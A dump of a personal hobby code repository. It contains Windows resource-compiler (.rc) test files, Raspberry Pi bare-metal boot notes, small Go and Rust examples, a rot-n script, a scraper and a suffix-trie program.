| 3 | -------------------------------------------------------------------------------- /res/test/foo_new.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/foo_new.ico -------------------------------------------------------------------------------- /res/test/foo_old.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/foo_old.ico -------------------------------------------------------------------------------- /res/test/foo_png.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/foo_png.ico -------------------------------------------------------------------------------- /res/test/html.rc: -------------------------------------------------------------------------------- 1 | 1 htML "test/foo.html" 2 | 1 HTml { "" } 3 | -------------------------------------------------------------------------------- /res/test/html.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/html.res -------------------------------------------------------------------------------- /res/test/html_inline.rc: -------------------------------------------------------------------------------- 1 | 1 HTML { "foo" } 2 | 1 HTML { L"foo" } 3 | 1 HTML { "foo" "b" } // No trailing \0! 4 | 1 HTML { "foo" "ba" } 5 | 1 HTML { "foo" "bar" } 6 | 2 HTML { "foo", "bar" } 7 | // Can't have a comma right after { 8 | 2 HTML { "foo",, "bar",,, } 9 | 3 HTML { "val1" 8 "val2" } 10 | 4 HTML { "val1", 8 "val2" END 11 | 5 HTML BEGIN "val1" 8, "val2" } 12 | 6 HTML { "val1" "v" "v", 8, "val2" "v" } 13 | 7 HTML { 8 "val1" 9 } 14 | 8 HTML { 8, "val1", 9 } 15 | 9 HTML { 8 "val1", 9 } 16 | 10 HTML { 8, "val1", 9 } 17 | 18 | 11 HTML { 4L, 2L } // 32 19 | 12 HTML { 4l, 2L } // 32 20 | 13 HTML { 4labdf, 2L } // 32 21 | 14 HTML { 4Labdf, 2L } // 32 22 | 15 HTML { 4abdfl, 2L } // 16 23 | 16 HTML { 4abdfL, 2L } // 16 24 | 25 | 17 HTML {} 26 | 18 HTML { "" } 27 | 19 HTML { "" "" } 28 | 20 HTML { "",,, "" } 29 | //21 HTML { BLOCK } // error 30 | //21 HTML { VALUE } // error 31 | 32 | 30 HTML { 4 + 2L, 5 } 33 | 31 HTML { 4L + 2, 5 } 34 | 32 HTML { 4L + 2L, 5 } 35 | 36 | -------------------------------------------------------------------------------- /res/test/html_inline.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/html_inline.res -------------------------------------------------------------------------------- /res/test/icon.rc: -------------------------------------------------------------------------------- 1 | // comment test 2 | // There's a tab character after the next 100: 3 | 100 ICON "test/foo_old.ico" 4 | /* comment test */ 5 | 100 ICON L"test\\foo_new.ico" 6 | 100 iCon "test/foo\x5fpng.ico" 7 | -------------------------------------------------------------------------------- /res/test/icon.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/icon.res -------------------------------------------------------------------------------- /res/test/language.rc: -------------------------------------------------------------------------------- 1 | // The type of these doesn't matter, this file tests that the language 2 | // of the resource is set right. This uses HTML since that's a simple resource 3 | // type. 4 | 1 HTML "test/foo.html" 5 | 6 | LAngUAGE 9, 4 7 | 2 HTML "test/foo.html" 8 | 3 HTML "test/foo.html" 9 | 10 | LANGUAGE 9, 1 11 | 4 HTML "test/foo.html" 12 | 13 | LANGUAGE 12, 10 14 | 7 HTML "test/foo.html" 15 | 16 | LANGUAGE 255, 26 17 | 7 HTML "test/foo.html" 18 | -------------------------------------------------------------------------------- /res/test/language.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/language.res -------------------------------------------------------------------------------- /res/test/literals_int.rc: -------------------------------------------------------------------------------- 1 | // VERSIONINFO 'cause it contains many int literals. 2 | 1 VERSIONINFO 3 | // FIXME: rc.exe complains if an int has a L suffix in a place where it expects 4 | // a 16-bit number, e.g. here: 5 | FILEVERSION 1,2,0x3,0o4 6 | PRODUCTVERSION 0X10,010,0o10,0O0 7 | FILEFLAGSMASK 0x17l 8 | FILEFLAGS 124oxabcdeflOXABCDEFL // Makes no sense; rc.exe says it's 124 9 | BEGIN 10 | END 11 | -------------------------------------------------------------------------------- /res/test/literals_int.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/literals_int.res -------------------------------------------------------------------------------- /res/test/literals_string.rc: -------------------------------------------------------------------------------- 1 | // FIXME: escaping in L"" strings (including \", \0, \ooo, \xABCD) 2 | // FIXME: exhaustive tests for nul bytes in string literals in all possible 3 | // places -- rc cuts off strings in some places, embeds them in others. 4 | stringtable { 5 | 1, """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\" 6 | 2, L"asdf" 7 | 3, "\" 8 | 4, "\""" 9 | 5, "\x" 10 | 6, "c\x" 11 | 7, "c\x6" 12 | 8, "c\x61" 13 | 9, "c\x610" 14 | 10, "c\x6101" 15 | 11, "c\xg1" 16 | 12, "c\x0" 17 | 13, "c\x01" 18 | 14, "c\x00" 19 | 15, "c\x000" 20 | 16, "c\0" 21 | 17, "c\00" 22 | 18, "c\000" 23 | 19, "c\0000" 24 | 20, "c\8" 25 | 21, "\0c" 26 | } 27 | 28 | 1 versioninfo { 29 | value """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\", """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\" 30 | value L"asdf", l"jklm" 31 | } 32 | 33 | 1 rcdata { """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\" } 34 | 35 | 1 menu { 36 | menuitem """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\", 4 37 | menuitem l"adsf", 5 38 | } 39 | 40 | 1 dialog 1 2 3 4 41 | caption """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\" 42 | class """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\" 43 | font 12, """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\" 44 | menu """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\" 45 | { 46 | ltext """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\", 51, 0, 1, 100, 80 47 | control """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\", 52, """\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\y\z\\", 0, 1, 2, 100, 80 48 | } 49 | 50 | 2 dialog 1 2 3 4 51 | caption L"asdf" 52 | class L"asdf" 53 | font 12, L"asdf" 54 | menu l"asdf" 55 | { 56 | ltext L"asdf", 51, 0, 1, 100, 80 57 | control L"asdf", 52, L"jklm", 0, 1, 2, 100, 80 58 | } 59 | -------------------------------------------------------------------------------- /res/test/literals_string.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/literals_string.res -------------------------------------------------------------------------------- /res/test/menu.rc: -------------------------------------------------------------------------------- 1 | 42 MEnu 2 | BEGIN 3 | POpUP "&File" 4 | BEGIN 5 | // FIXME: rc accepts this: (!!) 6 | //POP/* asdf */UP "&Sub" 7 | POPUP "&Sub" 8 | BEGIN 9 | meNUITEM "&Asdf", 500 10 | MENUITEM "&Fkjl", 501 11 | END 12 | MENUITEM "E&xit", 502 13 | END 14 | POPUP "&Help" 15 | BEGIN 16 | MENUITEM "F&oo", 555 17 | MENUITEM "&About", 556 18 | END 19 | END 20 | 21 | // Test padding after menu. 22 | 43 MENU 23 | BEGIN 24 | MENUITEM "&foo", 500 25 | END 26 | -------------------------------------------------------------------------------- /res/test/menu.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/menu.res -------------------------------------------------------------------------------- /res/test/menu_opts.rc: -------------------------------------------------------------------------------- 1 | 42 MENU 2 | BEGIN 3 | MENUITEM "&Item", 101 4 | MENUITEM "&Item", 102, CHECKED 5 | MENUITEM "&Item", 102, BITMAP 6 | MENUITEM "&Item", 102, OWNERDRAW 7 | MENUITEM "&Item", 103, GRAYED, GRAYED 8 | MENUITEM "&Item", 104 HELP 9 | MENUITEM "&Item", 105, INACTIVE 10 | MENUITEM "&Item", 106, MENUBARBREAK 11 | MENUITEM "&Item", 107, MENUBREAK 12 | MENUITEM "&Item", 108, CHECKED, GRAYED 13 | MENUITEM "&Item", 109, CHECKED GRAYED 14 | MENUITEM "&Item", 110, INACTIVE,,,,, GRAYED,,, 15 | MENUITEM SEPaRaTOR 16 | //Amusingly, rc.exe also accepts POPUP SEPARATOR { MENUITEM "", 0 } 17 | POPUP "&Popu" { MENUITEM "&Item", 101 } 18 | POPUP "&Popu", CHECKED { MENUITEM "&Item", 102 } 19 | POPUP "&Popu", BITMAP { MENUITEM "&Item", 102 } 20 | POPUP "&Popu", OWNERDRAW { MENUITEM "&Item", 102 } 21 | POPUP "&Popu", GRAYED { MENUITEM "&Item", 103 } 22 | POPUP "&Popu", HELP { MENUITEM "&Item", 104 } 23 | POPUP "&Popu" INACTIVE { MENUITEM "&Item", 105 } 24 | POPUP "&Popu", MENUBARBREAK { MENUITEM "&Item", 106 } 25 | POPUP "&Popu", MENUBREAK { MENUITEM "&Item", 107 } 26 | POPUP "&Popu", CHECKED, GRAYED { MENUITEM "&Item", 108 } 27 | POPUP "&Popu", CHECKED GRAYED { MENUITEM "&Item", 109 } 28 | POPUP "&Popu", INACTIVE,,,,, GRAYED,,, { MENUITEM "&Item", 110 } 29 | END 30 | -------------------------------------------------------------------------------- /res/test/menu_opts.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/menu_opts.res -------------------------------------------------------------------------------- /res/test/rcdata.rc: -------------------------------------------------------------------------------- 1 | 42 RCDATA "test/rcdata.rc" 2 | 43 RcdatA BEGIN "test/rcdata.rc" END 3 | 44 rCDAta { "test/rcdata.rc" } 4 | FOO RCDATA { "asdf" } 5 | FOO.CSS RCDATA { "asdf" } 6 | // FIXME: rc ignores `/**/` in the middle of an identifier 7 | // FIXME: rc allows , in the middle of identifiers 8 | F\tOO-0+1/2*3(4)~5|6&7>>8<<9%0^1?2:3=4"a\ts""df".dll RCDATA { "as/**/df" } 9 | //44 RCDATA { 10 | //"asdf1" 11 | // FIXME: tab escapes, " escaping, numbers, floats, arithmetic 12 | /* 13 | "c:\as\0d\nf\\d\t" 14 | "lol""lol" // has the whacko cmd.exe " rules, but not the \ rules. 15 | 4 5 56.8f 56.8 -2 8 + 9 // FIXME 16 | */ 17 | //END 18 | -------------------------------------------------------------------------------- /res/test/rcdata.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/rcdata.res -------------------------------------------------------------------------------- /res/test/rcdata_inline.rc: -------------------------------------------------------------------------------- 1 | 1 RCDATA { "foo" } 2 | 1 RCDATA { L"foo" } 3 | 1 RCDATA { "foo" "b" } // No trailing \0! 4 | 1 RCDATA { "foo" "ba" } 5 | 1 RCDATA { "foo" "bar" } 6 | 2 RCDATA { "foo", "bar" } 7 | // Can't have a comma right after { 8 | 2 RCDATA { "foo",, "bar",,, } 9 | 3 RCDATA { "val1" 8 "val2" } 10 | 4 RCDATA { "val1", 8 "val2" END 11 | 5 RCDATA BEGIN "val1" 8, "val2" } 12 | 6 RCDATA { "val1" "v" "v", 8, "val2" "v" } 13 | 7 RCDATA { 8 "val1" 9 } 14 | 8 RCDATA { 8, "val1", 9 } 15 | 9 RCDATA { 8 "val1", 9 } 16 | 10 RCDATA { 8, "val1", 9 } 17 | 18 | 11 RCDATA { 4L, 2L } // 32 19 | 12 RCDATA { 4l, 2L } // 32 20 | 13 RCDATA { 4labdf, 2L } // 32 21 | 14 RCDATA { 4Labdf, 2L } // 32 22 | 15 RCDATA { 4abdfl, 2L } // 16 23 | 16 RCDATA { 4abdfL, 2L } // 16 24 | 25 | 17 RCDATA {} 26 | 18 RCDATA { "" } 27 | 19 RCDATA { "" "" } 28 | 20 RCDATA { "",,, "" } 29 | //21 RCDATA { BLOCK } // error 30 | //21 RCDATA { VALUE } // error 31 | 32 | 30 RCDATA { 4 + 2L, 5 } 33 | 31 RCDATA { 4L + 2, 5 } 34 | 32 RCDATA { 4L + 2L, 5 } 35 | 36 | -------------------------------------------------------------------------------- /res/test/rcdata_inline.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/rcdata_inline.res -------------------------------------------------------------------------------- /res/test/stringnames.rc: -------------------------------------------------------------------------------- 1 | // The type of these doesn't matter, this file tests that the resource 2 | // _name_ can be a string. This uses HTML since that's a simple resource type. 3 | 1 HTML "test/foo.html" 4 | "1" HTML "test/foo.html" 5 | "" HTML "test/foo.html" 6 | "asfdsadf" HTML "test/foo.html" 7 | -------------------------------------------------------------------------------- /res/test/stringnames.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/stringnames.res -------------------------------------------------------------------------------- /res/test/stringtable.rc: -------------------------------------------------------------------------------- 1 | STRINGTABLE 2 | BEGIN 3 | 1 "no commas" 4 | 2, "one comma" 5 | 4, "" 6 | 14, "two entries" 50 "one line" 7 | END 8 | 9 | // Also has an odd number of uint16_ts, needs padding after it. 10 | STriNGTABLE BEGIN 77 "no" END 11 | 12 | // Has smaller id than 77 but comes later in the .rc file 13 | // => its string block should be later in the output too. 14 | STRINGTABLE BEGIN 32 "lo" END 15 | 16 | // This is fine, but must have IDs distinct from prior string table. 17 | // The first 16-block has an odd number of uint16_ts, and needs uint32_t padding 18 | STRINGTABLE BEGIN 3 "anotherstringtable" END 19 | 20 | // FIXME: test negative IDs, ... 21 | // STRINGTABLEs go at the end of the .res file, no matter where they are in the 22 | // .rc file. 23 | 24 | // They are grouped in bundles of 16: 25 | // https://blogs.msdn.microsoft.com/oldnewthing/20040130-00/?p=40813 26 | // If /n is passed to rc.exe, STRINGTABLE strings get \0-terminated. 27 | -------------------------------------------------------------------------------- /res/test/stringtable.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/stringtable.res -------------------------------------------------------------------------------- /res/test/stringtable_by_language.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/stringtable_by_language.rc -------------------------------------------------------------------------------- /res/test/stringtable_by_language.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/stringtable_by_language.res -------------------------------------------------------------------------------- /res/test/unicode_simple_utf16le_bom.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_simple_utf16le_bom.rc -------------------------------------------------------------------------------- /res/test/unicode_simple_utf16le_bom.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_simple_utf16le_bom.res -------------------------------------------------------------------------------- /res/test/unicode_simple_utf16le_nobom.rc: -------------------------------------------------------------------------------- 1 | 1 RCDATA { "foo" } 2 | -------------------------------------------------------------------------------- /res/test/unicode_simple_utf16le_nobom.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_simple_utf16le_nobom.res -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_custom.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_custom.rc -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_custom.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_custom.res -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_dialog.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_dialog.rc -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_dialog.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_dialog.res -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_menu.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_menu.rc -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_menu.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_menu.res -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_stringtable.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_stringtable.rc -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_stringtable.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_stringtable.res -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_versioninfo.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_versioninfo.rc -------------------------------------------------------------------------------- /res/test/unicode_utf16le_bom_versioninfo.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/unicode_utf16le_bom_versioninfo.res -------------------------------------------------------------------------------- /res/test/versioninfo.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/versioninfo.res -------------------------------------------------------------------------------- /res/test/versioninfo_fixedonly.rc: -------------------------------------------------------------------------------- 1 | 1 VERSIONINFO 2 | FILEVERSION 1,2,3 3 | {} 4 | 5 | 2 VERSIONINFO 6 | PRODUCTVERSION 4,6,7,8 7 | {} 8 | 9 | 3 VERSIONINFO 10 | FILEFLAGSMASK 9 11 | {} 12 | 13 | 3 VERSIONINFO 14 | FILEFLAGS 10 15 | {} 16 | 17 | 4 VERSIONINFO 18 | FILEOS 11 19 | {} 20 | 21 | 4 VERSIONINFO 22 | FILETYPE 12 23 | {} 24 | 25 | 5 VERSIONINFO 26 | FILESUBTYPE 13 27 | {} 28 | -------------------------------------------------------------------------------- /res/test/versioninfo_fixedonly.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/versioninfo_fixedonly.res -------------------------------------------------------------------------------- /res/test/versioninfo_slurp.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/versioninfo_slurp.res -------------------------------------------------------------------------------- /res/test_pptest.sh: -------------------------------------------------------------------------------- 1 | #/bin/bash 2 | ./pptest ~/src/chrome/src/chrome/app/chrome_exe.rc 3 | ./pptest ~/src/chrome/src/chrome/app/chrome_dll.rc 4 | ./pptest ~/src/chrome/src/ui/gfx/icon_util_unittests.rc 5 | # XXX needs /Isrc/chrome/src: 6 | # ./pptest ~/src/chrome/src/content/shell/app/shell.rc 7 | # ./pptest ~/src/chrome/src/chrome/test/data/resource.rc 8 | # XXX more interesting with /DGOOGLE_CHROME_BUILD 9 | ./pptest ~/src/chrome/src/chrome/installer/setup/setup.rc 10 | ./pptest ~/src/chrome/src/chrome/installer/gcapi/gcapi_test.rc 11 | ./pptest ~/src/chrome/src/third_party/swiftshader/src/D3D9/D3D9.rc 12 | ./pptest ~/src/llvm-rw/resources/windows_version_resource.rc 13 | -------------------------------------------------------------------------------- /rotn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Takes n from argv, then rot-n encodes stdin. 3 | import sys 4 | n = int(sys.argv[1]) 5 | source = sys.stdin if len(sys.argv) <= 2 else [s + '\n' for s in sys.argv[2:]] 6 | for line in source: 7 | for c in line: 8 | if c.isalpha(): 9 | c = chr(((ord(c) & 0x1f) - 1 + n) % 26 + (ord(c) & 0xe0) + 1) 10 | sys.stdout.write(c) 11 | -------------------------------------------------------------------------------- /rpos/README.md: -------------------------------------------------------------------------------- 1 | raspberry pi os notes 2 | ===================== 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | "armstub" 36 | 37 | 38 | kernel7.img is executed in ARMv7 mode, kernel8.img in AArch64 mode. 39 | 64-bit image must be uncompressed. 40 | 41 | VideoCore GPU starts first and loads bootcode.bin (in ROM on RPi4). 42 | Reads fixup.dat and start.elf, which reads config.txt (see `boot.md` link 43 | above) and then starts the kernel on the ARM core. 44 | 45 | In 64-bit, only one core starts. In 32-bit, 4 cores start at same address, 46 | so need to stop 3 of the 4 cores for now. 47 | 48 | `-mcpu=arm1176jzf-s` for kernel.img. 49 | -------------------------------------------------------------------------------- /rpos/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | ~/src/llvm-project/out/gn/bin/clang --target=arm-none-eabi -march=armv7 -c kernel.s 3 | ~/src/llvm-project/out/gn/bin/clang --target=arm-none-eabi -T kernel.ld kernel.o -nostdlib -ffreestanding -o kernel.elf 4 | ~/src/llvm-project/out/gn/bin/llvm-objcopy kernel.elf -O binary kernel7.img 5 | 6 | 7 | # -mgeneral-regs-only? -nostartfiles? -mcpu=cortex-a7? -fpic? 8 | -------------------------------------------------------------------------------- /rpos/kernel.ld: -------------------------------------------------------------------------------- 1 | SECTIONS { 2 | .text.boot 0x8000 : { 3 | *(.text.boot) 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /rpos/kernel.s: -------------------------------------------------------------------------------- 1 | // ARMv7 2 | // ~/src/llvm-project/out/gn/bin/clang --target=arm-none-eabi -march=armv7 -c kernel.s 3 | // ~/src/llvm-project/out/gn/bin/clang --target=arm-none-eabi -T kernel.ld kernel.o -nostdlib -ffreestanding -o kernel.elf 4 | // ~/src/llvm-project/out/gn/bin/llvm-objcopy kernel.elf -O binary kernel7.img 5 | // qemu-system-arm -M raspi2 -monitor stdio -kernel kernel.elf 6 | // # `info registers` for `-monitor stdio` to see register values. 7 | .section ".text.boot" 8 | 9 | .globl _start 10 | // .org 0x8000 // Don't use: linker script kernel.ld already does this. 11 | _start: 12 | // Shut off extra cores 13 | mrc p15, 0, r5, c0, c0, 5 14 | and r5, r5, #3 15 | cmp r5, #0 16 | bne halt 17 | 18 | mov sp, #0x8000 19 | mov r0, #0x42 20 | ldr r1, =_start 21 | 22 | halt: 23 | wfe 24 | b halt 25 | -------------------------------------------------------------------------------- /rpos/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | qemu-system-arm -M raspi2 -monitor stdio -kernel kernel7.img 3 | -------------------------------------------------------------------------------- /rust/byexample/01_hello.go: -------------------------------------------------------------------------------- 1 | // go run 01_hello.go 2 | package main 3 | 4 | func main() { 5 | println("Hello, Go.") 6 | } 7 | -------------------------------------------------------------------------------- /rust/byexample/01_hello.rs: -------------------------------------------------------------------------------- 1 | // rustc 01_hello.rs && ./01_hello 2 | fn main() { 3 | println!("Hello, Rust."); 4 | } 5 | -------------------------------------------------------------------------------- /rust/byexample/02_print.go: -------------------------------------------------------------------------------- 1 | // go run 02_print.go 2 | package main 3 | 4 | import "fmt" 5 | 6 | func main() { 7 | fmt.Print("January has ") 8 | fmt.Printf("%d days\n", 31) 9 | 10 | fmt.Printf("%s, this is %s. %s, this is %s\n", "Alice", "Bob", "Bob", "Alice") 11 | 12 | fmt.Printf("%s %s %s\n", "the quick brown fox", "jumpst", "over the lazy dog") 13 | 14 | fmt.Printf("%d of %b people know binary\n", 1, 2) 15 | 16 | fmt.Printf("My name is {0}, {1} {0}\n", "Bond") // Runtime error; if you're lucky r might make fun of you. 17 | } 18 | -------------------------------------------------------------------------------- /rust/byexample/02_print.rs: -------------------------------------------------------------------------------- 1 | // rustc 02_print.rs && ./02_print 2 | fn main() { 3 | print!("January has "); 4 | println!("{} days", 31); 5 | 6 | println!("{0}, this is {1}. {1}, this is {0}", "Alice", "Bob"); 7 | 8 | println!("{subject} {verb} {predicate}", 9 | predicate="over the lazy dog", 10 | subject="the quick brown fox", 11 | verb="jumps"); 12 | 13 | println!("{} of {:b} people know binary", 1, 2); 14 | 15 | //println!("My name is {0}, {1} {0}", "Bond"); // Compile error. 16 | } 17 | -------------------------------------------------------------------------------- /scrape/scrape.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from bs4 import BeautifulSoup 3 | import requests 4 | import sys 5 | 6 | # A simple scraper with bs4 and requests. 7 | 8 | ROOT = \ 9 | 'http://lang-8.com/609963/journals/159998518702980022315861616374779453028' 10 | 11 | count = 0 12 | all_contents = BeautifulSoup() 13 | link = ROOT 14 | while link: 15 | count += 1 16 | print >> sys.stderr, count 17 | response = requests.get(link) 18 | soup = BeautifulSoup(response.text) 19 | contents = soup.find(id='body_show_ori').contents 20 | try: 21 | i = contents.index(u'next : ') 22 | link = contents[i + 1]['href'] 23 | all_contents.contents += contents[:i-1] # strip one
24 | except: 25 | link = None 26 | 27 | print """\ 28 | 29 | """ 32 | print all_contents.prettify().encode('utf-8') 33 | -------------------------------------------------------------------------------- /suffixtree.cc: -------------------------------------------------------------------------------- 1 | /* 2 | An implementation of Ukkonen's O(n) online suffix tree algorithm, 3 | http://www.cs.helsinki.fi/u/ukkonen/SuffixT1withFigs.pdf 4 | 5 | clang -Wall -o suffixtree -O2 suffixtree.cc 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | struct Node { 14 | Node() { 15 | memset(next, 0, sizeof(next)); 16 | suffix = 0; 17 | } 18 | 19 | Node* next[256]; 20 | Node* suffix; 21 | }; 22 | 23 | int main(int argc, char* argv[]) { 24 | if (argc < 2) 25 | errx(EX_USAGE, "usage: %s string [strings...]", argv[0]); 26 | 27 | const char* input = argv[1]; 28 | 29 | /* Build suffix trie, algorithm 1 */ 30 | 31 | Node bottom; 32 | Node root; 33 | for (int i = 0; i < 256; ++i) 34 | bottom.next[i] = &root; 35 | root.suffix = ⊥ 36 | 37 | Node* top = &root; 38 | for (int i = 0, n = strlen(input); i < n; ++i) { 39 | int ti = input[i]; 40 | Node* r = top; 41 | Node* oldrp = 0; 42 | while (!r->next[ti]) { 43 | Node* rp = new Node; 44 | r->next[ti] = rp; 45 | if (r != top) 46 | oldrp->suffix = rp; 47 | oldrp = rp; 48 | r = r->suffix; 49 | } 50 | oldrp->suffix = r->next[ti]; 51 | top = top->next[ti]; 52 | } 53 | 54 | /* Build suffix tree. */ 55 | 56 | 57 | /* Lame application: For each further argument, print if it's a substring 58 | * of the original string. */ 59 | for (int i = 2; i < argc; ++i) { 60 | Node* r = &root; 61 | const char* s = argv[i]; 62 | bool prefix_of_suffix = true; 63 | for (int j = 0, n = strlen(s); r && j < n; ++j) { 64 | r = r->next[(int)s[j]]; 65 | if (!r) 66 | prefix_of_suffix = false; 67 | } 68 | if (prefix_of_suffix) 69 | printf("%s\n", argv[i]); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /suo/conv.py: -------------------------------------------------------------------------------- 1 | import random 2 | from math import * 3 | 4 | # This tries a few things for how to compute the number of FAT blocks 5 | # (ignoring DIFAT blocks for now) in a ms-cfb file. 6 | 7 | # An ms-cfb file contains of 512-byte sectors (for v3), and the FAT stores 8 | # the "next" sector for each sector, so that the file can contain several 9 | # interleaving streams. The FAT is stored in sectors too. Each sector can 10 | # contain 128 uint32_ts. 11 | 12 | # Three ways to think about this: 13 | # 1. One FAT sector can store 128 uint32_ts, but 1 of these is needed to store 14 | # the ID of that FAT sector, giving us 127 effective sectors per FAT sector, 15 | # so if we have k sectors we need ceil(k/127) FAT sectors to link them all 16 | # up. 17 | # 2. We need n = ceil(k/128) FAT sectors, but then we need to store their IDs 18 | # in the FAT too, so we keep iterating n' = ceil((k + n/128), n = n' until 19 | # we converge. 20 | # 3. We require `n == ceil((k+n)/128)` and solve for n, which (maybe?) 21 